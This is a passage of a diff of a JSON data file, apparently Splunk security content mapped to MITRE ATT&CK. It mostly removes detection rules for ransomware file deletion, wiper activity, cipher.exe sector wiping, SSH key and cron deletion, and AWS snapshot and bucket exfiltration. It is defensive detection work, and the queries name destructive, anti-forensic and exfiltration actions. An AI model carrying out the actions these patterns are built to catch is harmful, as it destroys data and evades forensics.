`security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_disable_memory_crash_dump_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Hermetic Wiper", - "Ransomware", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A process was identified attempting to disable memory crash dumps on $dest$.", - "risk_score": 90, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1485", - "mitre_attack_technique": "Data Destruction", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT38", - "Gamaredon Group", - "LAPSUS$", - "Lazarus Group", - "Sandworm Team" - ] - } - ] - } - }, - { - "name": "Windows File Without Extension In Critical Folder", - "description": "The following analytic detects the creation of files without extensions in critical folders like \"System32\\Drivers.\" It leverages data from the Endpoint.Filesystem datamodel, focusing on file paths and creation times. This activity is significant as it may indicate the presence of destructive malware, such as HermeticWiper, which drops driver components in these directories. If confirmed malicious, this behavior could lead to severe system compromise, including boot sector wiping, resulting in potential data loss and system inoperability.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Filesystem where Filesystem.file_path IN (\"*\\\\System32\\\\drivers\\\\*\", \"*\\\\syswow64\\\\drivers\\\\*\") by _time span=5m Filesystem.dest Filesystem.user Filesystem.file_name Filesystem.file_path Filesystem.process_guid Filesystem.file_create_time | `drop_dm_object_name(Filesystem)` | rex field=\"file_name\" \"\\.(?[^\\.]*$)\" | where isnull(extension) | join process_guid [| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes by _time span=5m Processes.process_name Processes.dest Processes.process_guid Processes.user | `drop_dm_object_name(Processes)`] | stats count min(_time) as firstTime max(_time) as lastTime by dest process_name process_guid file_name file_path file_create_time user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_file_without_extension_in_critical_folder_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Hermetic Wiper" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Driver file with out file extension drop in $file_path$ in $dest$", - "risk_score": 90, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1485", - "mitre_attack_technique": "Data Destruction", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT38", - "Gamaredon Group", - "LAPSUS$", - "Lazarus Group", - "Sandworm Team" - ] - } - ] - } - }, - { - "name": "Windows High File Deletion Frequency", - "description": "The following analytic identifies a high frequency of file deletions by monitoring Sysmon EventCodes 23 and 26 for specific file extensions. This detection leverages Sysmon logs to track deleted target filenames, process names, and process IDs. Such activity is significant as it often indicates ransomware behavior, where files are encrypted and the originals are deleted. If confirmed malicious, this activity could lead to extensive data loss and operational disruption, as ransomware can render critical files inaccessible, demanding a ransom for their recovery.", - "search": "`sysmon` EventCode IN (\"23\",\"26\") TargetFilename IN (\"*.cmd\", \"*.ini\",\"*.gif\", \"*.jpg\", \"*.jpeg\", \"*.db\", \"*.ps1\", \"*.doc\", \"*.docx\", \"*.xls\", \"*.xlsx\", \"*.ppt\", \"*.pptx\", \"*.bmp\",\"*.zip\", \"*.rar\", \"*.7z\", \"*.chm\", \"*.png\", \"*.log\", \"*.vbs\", \"*.js\", \"*.vhd\", \"*.bak\", \"*.wbcat\", \"*.bkf\" , \"*.backup*\", \"*.dsk\", \"*.win\") NOT TargetFilename IN (\"*\\\\INetCache\\\\Content.Outlook\\\\*\") | stats count, values(TargetFilename) as deleted_files, min(_time) as firstTime, max(_time) as lastTime by user, dest, signature, signature_id, Image, process_name, process_guid | rename Image as process | where count >=100 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_high_file_deletion_frequency_filter`", - "tags": { - "analytic_story": [ - "Clop Ransomware", - "DarkCrystal RAT", - "Data Destruction", - "Sandworm Tools", - "Swift Slicer", - "WhisperGate" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "deleted_files", - "type": "File Name", - "role": [ - "Attacker" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "Elevated file deletion rate observed from process [$process_name$] on machine $dest$", - "risk_score": 72, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1485", - "mitre_attack_technique": "Data Destruction", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT38", - "Gamaredon Group", - "LAPSUS$", - "Lazarus Group", - "Sandworm Team" - ] - } - ] - } } ], "external_reference": [ @@ -639912,333 +430542,6 @@ "https://azure.microsoft.com/en-us/services/storage/blobs/", "https://cloud.google.com/storage" ] - }, - { - "name": "AWS AMI Attribute Modification for Exfiltration", - "description": "The following analytic detects suspicious modifications to AWS AMI attributes, such as sharing an AMI with another AWS account or making it publicly accessible. It leverages AWS CloudTrail logs to identify these changes by monitoring specific API calls. This activity is significant because adversaries can exploit these modifications to exfiltrate sensitive data stored in AWS resources. If confirmed malicious, this could lead to unauthorized access and potential data breaches, compromising the confidentiality and integrity of organizational information.", - "search": "`cloudtrail` eventName=ModifyImageAttribute (requestParameters.launchPermission.add.items{}.userId = * OR requestParameters.launchPermission.add.items{}.group = all) | rename requestParameters.launchPermission.add.items{}.group as group_added | rename requestParameters.launchPermission.add.items{}.userId as accounts_added | eval ami_status=if(match(group_added,\"all\") ,\"Public AMI\", \"Not Public\") | stats count min(_time) as firstTime max(_time) as lastTime values(group_added) values(accounts_added) as accounts_added values(ami_status) by src_ip region eventName userAgent user_arn aws_account_id userIdentity.principalId | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `aws_ami_attribute_modification_for_exfiltration_filter`", - "tags": { - "analytic_story": [ - "Data Exfiltration", - "Suspicious Cloud Instance Activities" - ], - "asset_type": "EC2 Snapshot", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user_arn", - "type": "User", - "role": [ - "Attacker" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "aws_account_id", - "type": "Other", - "role": [ - "Victim" - ] - } - ], - "message": "AWS AMI from account $aws_account_id$ is shared externally with $accounts_added$ from $src_ip$ or AMI made is made Public.", - "risk_score": 80, - "security_domain": "threat", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1537", - "mitre_attack_technique": "Transfer Data to Cloud Account", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "AWS EC2 Snapshot Shared Externally", - "description": "The following analytic detects when an EC2 snapshot is shared with an external AWS account by analyzing AWS CloudTrail events. This detection method leverages CloudTrail logs to identify modifications in snapshot permissions, specifically when the snapshot is shared outside the originating AWS account. This activity is significant as it may indicate an attempt to exfiltrate sensitive data stored in the snapshot. If confirmed malicious, an attacker could gain unauthorized access to the snapshot's data, potentially leading to data breaches or further exploitation of the compromised information.", - "search": "`cloudtrail` eventName=ModifySnapshotAttribute | rename requestParameters.createVolumePermission.add.items{}.userId as requested_account_id | search requested_account_id != NULL | eval match=if(requested_account_id==aws_account_id,\"Match\",\"No Match\") | table _time user_arn src_ip requestParameters.attributeType requested_account_id aws_account_id match vendor_region user_agent userIdentity.principalId | where match = \"No Match\" | `aws_ec2_snapshot_shared_externally_filter`", - "tags": { - "analytic_story": [ - "Data Exfiltration", - "Suspicious Cloud Instance Activities" - ], - "asset_type": "EC2 Snapshot", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user_arn", - "type": "User", - "role": [ - "Attacker" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "aws_account_id", - "type": "Other", - "role": [ - "Victim" - ] - } - ], - "message": "AWS EC2 snapshot from account $aws_account_id$ is shared with $requested_account_id$ by user $user_arn$ from $src_ip$", - "risk_score": 48, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1537", - "mitre_attack_technique": "Transfer Data to Cloud Account", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "AWS Exfiltration via Bucket Replication", - "description": "The following analytic detects API calls to enable S3 bucket replication services. It leverages AWS CloudTrail logs to identify `PutBucketReplication` events, focusing on fields like `bucketName`, `ReplicationConfiguration.Rule.Destination.Bucket`, and user details. This activity is significant as it can indicate unauthorized data replication, potentially leading to data exfiltration. If confirmed malicious, attackers could replicate sensitive data to external accounts, leading to data breaches and compliance violations.", - "search": "`cloudtrail` eventName = PutBucketReplication eventSource = s3.amazonaws.com | rename requestParameters.* as * | stats count values(bucketName) as source_bucket values(ReplicationConfiguration.Rule.ID) as rule_id values(ReplicationConfiguration.Rule.Destination.Bucket) as destination_bucket by _time user_arn userName user_type src_ip aws_account_id userIdentity.principalId user_agent | `aws_exfiltration_via_bucket_replication_filter`", - "tags": { - "analytic_story": [ - "Data Exfiltration", - "Suspicious AWS S3 Activities" - ], - "asset_type": "EC2 Snapshot", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user_arn", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "aws_account_id", - "type": "Other", - "role": [ - "Victim" - ] - } - ], - "message": "AWS Bucket Replication rule $rule_id$ added on $source_bucket$ to $destination_bucket$ by user $user_arn$ from IP Address - $src_ip$", - "risk_score": 64, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1537", - "mitre_attack_technique": "Transfer Data to Cloud Account", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "AWS Exfiltration via EC2 Snapshot", - "description": "The following analytic detects a series of AWS API calls related to EC2 snapshots within a short time window, indicating potential exfiltration via EC2 Snapshot modifications. It leverages AWS CloudTrail logs to identify actions such as creating, describing, and modifying snapshot attributes. This activity is significant as it may indicate an attacker attempting to exfiltrate data by sharing EC2 snapshots externally. If confirmed malicious, the attacker could gain access to sensitive information stored in the snapshots, leading to data breaches and potential compliance violations.", - "search": "`cloudtrail` eventName IN (\"CreateSnapshot\", \"DescribeSnapshotAttribute\", \"ModifySnapshotAttribute\", \"DeleteSnapshot\") src_ip !=\"guardduty.amazonaws.com\" | bin _time span=5m | stats count dc(eventName) as distinct_api_calls values(eventName) values(requestParameters.attributeType) as attributeType values(requestParameters.createVolumePermission.add.items{}.userId) as aws_account_id_added values(userAgent) as userAgent by _time userName src_ip aws_account_id | where distinct_api_calls >= 2 | `aws_exfiltration_via_ec2_snapshot_filter`", - "tags": { - "analytic_story": [ - "Data Exfiltration", - "Suspicious Cloud Instance Activities" - ], - "asset_type": "EC2 Snapshot", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "userName", - "type": "User", - "role": [ - "Attacker" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "aws_account_id", - "type": "Other", - "role": [ - "Victim" - ] - } - ], - "message": "Potential AWS EC2 Exfiltration detected on account id - $aws_account_id$ by user $userName$ from src_ip $src_ip$", - "risk_score": 64, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1537", - "mitre_attack_technique": "Transfer Data to Cloud Account", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "AWS S3 Exfiltration Behavior Identified", - "description": "The following analytic identifies potential AWS S3 exfiltration behavior by correlating multiple risk events related to Collection and Exfiltration techniques. It leverages risk events from AWS sources, focusing on instances where two or more unique analytics and distinct MITRE ATT&CK IDs are triggered for a specific risk object. This activity is significant as it may indicate an ongoing data exfiltration attempt, which is critical for security teams to monitor. If confirmed malicious, this could lead to unauthorized access and theft of sensitive information, compromising the organization's data integrity and confidentiality.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime sum(All_Risk.calculated_risk_score) as risk_score, count(All_Risk.calculated_risk_score) as risk_event_count, values(All_Risk.annotations.mitre_attack.mitre_tactic_id) as annotations.mitre_attack.mitre_tactic_id, dc(All_Risk.annotations.mitre_attack.mitre_tactic_id) as mitre_tactic_id_count, values(All_Risk.annotations.mitre_attack.mitre_technique_id) as annotations.mitre_attack.mitre_technique_id, dc(All_Risk.annotations.mitre_attack.mitre_technique_id) as mitre_technique_id_count, values(All_Risk.tag) as tag, values(source) as source, dc(source) as source_count values(All_Risk.risk_message) as risk_message from datamodel=Risk.All_Risk where All_Risk.annotations.mitre_attack.mitre_tactic = \"collection\" OR All_Risk.annotations.mitre_attack.mitre_tactic = \"exfiltration\" source = *AWS* by All_Risk.risk_object | `drop_dm_object_name(All_Risk)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where source_count >= 2 and mitre_tactic_id_count>=2 | `aws_s3_exfiltration_behavior_identified_filter`", - "tags": { - "analytic_story": [ - "Data Exfiltration", - "Suspicious Cloud Instance Activities" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "risk_object", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Multiple AWS Exfiltration detections $source$ and techniques $annotations.mitre_attack.mitre_tactic_id$ trigged for risk object $risk_object$", - "risk_score": 81, - "security_domain": "threat", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1537", - "mitre_attack_technique": "Transfer Data to Cloud Account", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "High Frequency Copy Of Files In Network Share", - "description": "The following analytic detects a high frequency of file copying or moving within network shares, which may indicate potential data sabotage or exfiltration attempts. It leverages Windows Security Event Logs (EventCode 5145) to monitor access to specific file types and network shares. This activity is significant as it can reveal insider threats attempting to transfer classified or internal files, potentially leading to data breaches or evidence tampering. If confirmed malicious, this behavior could result in unauthorized data access, data loss, or compromised sensitive information.", - "search": "`wineventlog_security` EventCode=5145 RelativeTargetName IN (\"*.doc\",\"*.docx\",\"*.xls\",\"*.xlsx\",\"*.ppt\",\"*.pptx\",\"*.log\",\"*.txt\",\"*.db\",\"*.7z\",\"*.zip\",\"*.rar\",\"*.tar\",\"*.gz\",\"*.jpg\",\"*.gif\",\"*.png\",\"*.bmp\",\"*.pdf\",\"*.rtf\",\"*.key\") ObjectType=File ShareName IN (\"\\\\\\\\*\\\\C$\",\"\\\\\\\\*\\\\IPC$\",\"\\\\\\\\*\\\\admin$\") AccessMask= \"0x2\" | bucket _time span=5m | stats values(RelativeTargetName) as valRelativeTargetName, values(ShareName) as valShareName, values(ObjectType) as valObjectType, values(AccessMask) as valAccessmask, values(src_port) as valSrcPort, values(SourceAddress) as valSrcAddress count as numShareName by dest, _time, EventCode, src_user, src_ip | eventstats avg(numShareName) as avgShareName, stdev(numShareName) as stdShareName, count as numSlots by dest, _time, EventCode, src_user | eval upperThreshold=(avgShareName + stdShareName *3) | eval isOutlier=if(avgShareName > 20 and avgShareName >= upperThreshold, 1, 0) | search isOutlier=1 | `high_frequency_copy_of_files_in_network_share_filter`", - "tags": { - "analytic_story": [ - "Information Sabotage", - "Insider Threat" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "High frequency copy of document into a network share from $src_ip$ by $src_user$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1537", - "mitre_attack_technique": "Transfer Data to Cloud Account", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -640403,53 +430706,7 @@ } } ], - "possible_detections": [ - { - "name": "Splunk HTTP Response Splitting Via Rest SPL Command", - "description": "The following analytic identifies attempts to exploit an HTTP response splitting vulnerability via the rest SPL command in Splunk. It detects this activity by analyzing audit logs for specific search commands that include REST methods like POST, PUT, PATCH, or DELETE. This behavior is significant because it indicates a potential attempt to access restricted REST endpoints, which could lead to unauthorized access to sensitive information. If confirmed malicious, this activity could allow an attacker to access restricted content, such as password files, by injecting commands into HTTP requests.", - "search": "`audit_searches` AND search IN (\"*|*rest*POST*\",\"*|*rest*PUT*\",\"*|*rest*PATCH*\",\"*|*rest*DELETE*\") AND NOT search=\"*audit_searches*\" | table user info has_error_msg search _time | `splunk_http_response_splitting_via_rest_spl_command_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "URL String", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious access by $user$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1027.006", - "mitre_attack_technique": "HTML Smuggling", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT29" - ] - } - ] - } - } - ], + "possible_detections": [], "external_reference": [], "controls": [], "x_mitre_network_requirements": false, @@ -641513,1219 +431770,6 @@ "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", "https://tools.ietf.org/html/rfc2866" ] - }, - { - "name": "Clear Unallocated Sector Using Cipher App", - "description": "The following analytic detects the execution of `cipher.exe` with the `/w` flag to clear unallocated sectors on a disk. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names, command-line arguments, and parent processes. This activity is significant because it is a technique used by ransomware to prevent forensic recovery of deleted files. If confirmed malicious, this action could hinder incident response efforts by making it impossible to recover critical data, thereby complicating the investigation and remediation process.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = \"cipher.exe\" Processes.process = \"*/w:*\" by Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.dest Processes.user Processes.process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `clear_unallocated_sector_using_cipher_app_filter`", - "tags": { - "analytic_story": [ - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to clear the unallocated sectors of a specific disk.", - "risk_score": 90, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1070.004", - "mitre_attack_technique": "File Deletion", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Chimera", - "Cobalt Group", - "Dragonfly", - "Evilnum", - "FIN10", - "FIN5", - "FIN6", - "FIN8", - "Gamaredon Group", - "Group5", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Metador", - "Mustang Panda", - "OilRig", - "Patchwork", - "Rocke", - "Sandworm Team", - "Silence", - "TeamTNT", - "The White Company", - "Threat Group-3390", - "Tropic Trooper", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1070", - "mitre_attack_technique": "Indicator Removal", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT5", - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Linux Account Manipulation Of SSH Config and Keys", - "description": "The following analytic detects the deletion of SSH keys on a Linux machine. It leverages filesystem event logs to identify when files within \"/etc/ssh/*\" or \"~/.ssh/*\" are deleted. This activity is significant because attackers may delete or modify SSH keys to evade security measures or as part of a destructive payload, similar to the AcidRain malware. If confirmed malicious, this behavior could lead to impaired security features, hindered forensic investigations, or further unauthorized access, necessitating immediate investigation to identify the responsible process and user.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.action=deleted AND Filesystem.file_path IN (\"/etc/ssh/*\", \"~/.ssh/*\") by _time span=1h Filesystem.file_name Filesystem.file_path Filesystem.dest Filesystem.process_guid Filesystem.action | `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `linux_account_manipulation_of_ssh_config_and_keys_filter`", - "tags": { - "analytic_story": [ - "AcidRain" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "SSH Config and keys are deleted on $dest$ by Process GUID - $process_guid$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1485", - "mitre_attack_technique": "Data Destruction", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT38", - "Gamaredon Group", - "LAPSUS$", - "Lazarus Group", - "Sandworm Team" - ] - }, - { - "mitre_attack_id": "T1070.004", - "mitre_attack_technique": "File Deletion", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Chimera", - "Cobalt Group", - "Dragonfly", - "Evilnum", - "FIN10", - "FIN5", - "FIN6", - "FIN8", - "Gamaredon Group", - "Group5", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Metador", - "Mustang Panda", - "OilRig", - "Patchwork", - "Rocke", - "Sandworm Team", - "Silence", - "TeamTNT", - "The White Company", - "Threat Group-3390", - "Tropic Trooper", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1070", - "mitre_attack_technique": "Indicator Removal", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT5", - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Linux Deletion Of Cron Jobs", - "description": "The following analytic detects the deletion of cron jobs on a Linux machine. It leverages filesystem event logs to identify when files within the \"/etc/cron.*\" directory are deleted. This activity is significant because attackers or malware may delete cron jobs to disable scheduled security tasks or evade detection mechanisms. If confirmed malicious, this action could allow an attacker to disrupt system operations, evade security measures, or facilitate further malicious activities such as data wiping, as seen with the acidrain malware.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.action=deleted Filesystem.file_path=\"/etc/cron.*\" by _time span=1h Filesystem.file_name Filesystem.file_path Filesystem.dest Filesystem.process_guid Filesystem.action | `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `linux_deletion_of_cron_jobs_filter`", - "tags": { - "analytic_story": [ - "AcidRain", - "Data Destruction" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File Name", - "role": [ - "Attacker" - ] - } - ], - "message": "Linux cron jobs are deleted on host $dest$ by process GUID- $process_guid$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1485", - "mitre_attack_technique": "Data Destruction", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT38", - "Gamaredon Group", - "LAPSUS$", - "Lazarus Group", - "Sandworm Team" - ] - }, - { - "mitre_attack_id": "T1070.004", - "mitre_attack_technique": "File Deletion", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Chimera", - "Cobalt Group", - "Dragonfly", - "Evilnum", - "FIN10", - "FIN5", - "FIN6", - "FIN8", - "Gamaredon Group", - "Group5", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Metador", - "Mustang Panda", - "OilRig", - "Patchwork", - "Rocke", - "Sandworm Team", - "Silence", - "TeamTNT", - "The White Company", - "Threat Group-3390", - "Tropic Trooper", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1070", - "mitre_attack_technique": "Indicator Removal", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT5", - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Linux Deletion Of Init Daemon Script", - "description": "The following analytic detects the deletion of init daemon scripts on a Linux machine. It leverages filesystem event logs to identify when files within the /etc/init.d/ directory are deleted. This activity is significant because init daemon scripts control the start and stop of critical services, and their deletion can indicate an attempt to impair security features or evade defenses. If confirmed malicious, this behavior could allow an attacker to disrupt essential services, execute destructive payloads, or persist undetected in the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.action=deleted Filesystem.file_path IN ( \"/etc/init.d/*\") by _time span=1h Filesystem.file_name Filesystem.file_path Filesystem.dest Filesystem.process_guid Filesystem.action | `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `linux_deletion_of_init_daemon_script_filter`", - "tags": { - "analytic_story": [ - "AcidRain", - "Data Destruction" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File Name", - "role": [ - "Attacker" - ] - } - ], - "message": "Init daemon script deleted on host $dest$ by process GUID- $process_guid$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1485", - "mitre_attack_technique": "Data Destruction", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT38", - "Gamaredon Group", - "LAPSUS$", - "Lazarus Group", - "Sandworm Team" - ] - }, - { - "mitre_attack_id": "T1070.004", - "mitre_attack_technique": "File Deletion", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Chimera", - "Cobalt Group", - "Dragonfly", - "Evilnum", - "FIN10", - "FIN5", - "FIN6", - "FIN8", - "Gamaredon Group", - "Group5", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Metador", - "Mustang Panda", - "OilRig", - "Patchwork", - "Rocke", - "Sandworm Team", - "Silence", - "TeamTNT", - "The White Company", - "Threat Group-3390", - "Tropic Trooper", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1070", - "mitre_attack_technique": "Indicator Removal", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT5", - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Linux Deletion Of Services", - "description": "The following analytic detects the deletion of services on a Linux machine. It leverages filesystem event logs to identify when service files within system directories (e.g., /etc/systemd/, /lib/systemd/, /run/systemd/) are deleted. This activity is significant because attackers may delete or modify services to disable security features or evade defenses. If confirmed malicious, this behavior could indicate an attempt to 